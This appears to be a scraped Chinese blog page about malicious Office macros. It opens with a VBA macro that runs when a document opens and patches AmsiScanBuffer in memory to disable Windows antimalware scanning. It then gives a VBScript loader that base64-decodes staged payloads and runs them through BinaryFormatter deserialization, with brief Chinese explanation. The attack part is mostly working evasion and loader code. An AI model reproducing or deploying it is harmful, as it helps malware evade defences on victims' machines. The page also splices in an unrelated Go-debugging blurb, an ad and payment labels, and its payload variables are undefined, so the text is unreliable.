Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtrPrivate Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtrPrivate Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As LongPrivate Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)Private Sub Document_Open() Dim AmsiDLL As LongPtr Dim AmsiScanBufferAddr As LongPtr Dim result As Long Dim MyByteArray(6) As Byte Dim ArrayPointer As LongPtr MyByteArray(0) = 184 ' 0xB8 MyByteArray(1) = 87 ' 0x57 MyByteArray(2) = 0 ' 0x00 MyByteArray(3) = 7 ' 0x07 MyByteArray(4) = 128 ' 0x80 MyByteArray(5) = 195 ' 0xC3 AmsiDLL = LoadLibrary("amsi.dll") AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer") result = VirtualProtect(ByVal AmsiScanBufferAddr, 5, 64, 0) ArrayPointer = VarPtr(MyByteArray(0)) CopyMemory ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6 End Sub
Function Base64ToStream(b,l) Dim enc, length, transform, ms Set enc = CreateObject("System.Text.ASCIIEncoding") length = enc.GetByteCount_2(b) Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform") Set ms = CreateObject("System.IO.MemoryStream") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, l ms.Position = 0 Set Base64ToStream = msEnd FunctionDim shellSet shell = CreateObject("WScript.Shell")Dim verver = "v4.0.30319"On Error Resume Nextshell.RegRead "HKLMSOFTWAREMicrosoft.NETFramework4.0.30319"If Err.Number 0 Then ver = "v2.0.50727" Err.ClearEnd Ifshell.Environment("Process").Item("COMPLUS_Version") = verDim fmt_1Set fmt_1 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")fmt_1.Deserialize_2(Base64ToStream(stage_1, 2341))If Err.Number 0 Then Dim fmt_2 Set fmt_2 = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter") fmt_2.Deserialize_2(Base64ToStream(stage_2, 12424))End If
即使用COM 组件反序列化 Base64 编码的 .NET 对象。其代码结构解释如下：
即BinaryFormatter的反序列化加载。假设有下面的代码：
代码语言：javascript代码运行次数：0运行复制
using System;using System.Windows.Forms;namespace Test{ public class Program { public Program() { MessageBox.Show("Hello, World!"); } }}
使用go run -race检测数据竞争，结合runtime.NumGoroutine监控协程数量，通过pprof分析阻塞调用栈，利用select超时避免永久阻塞，有效排查goroutine泄漏、死锁和数据竞争问题。 Go语言的goroutine和channel是并发编程的核心，但它们也带来了调试上…
PatentPal专利申请写作
13 查看详情
代码语言：javascript代码运行次数：0运行复制
微信扫一扫 
支付宝扫一扫 
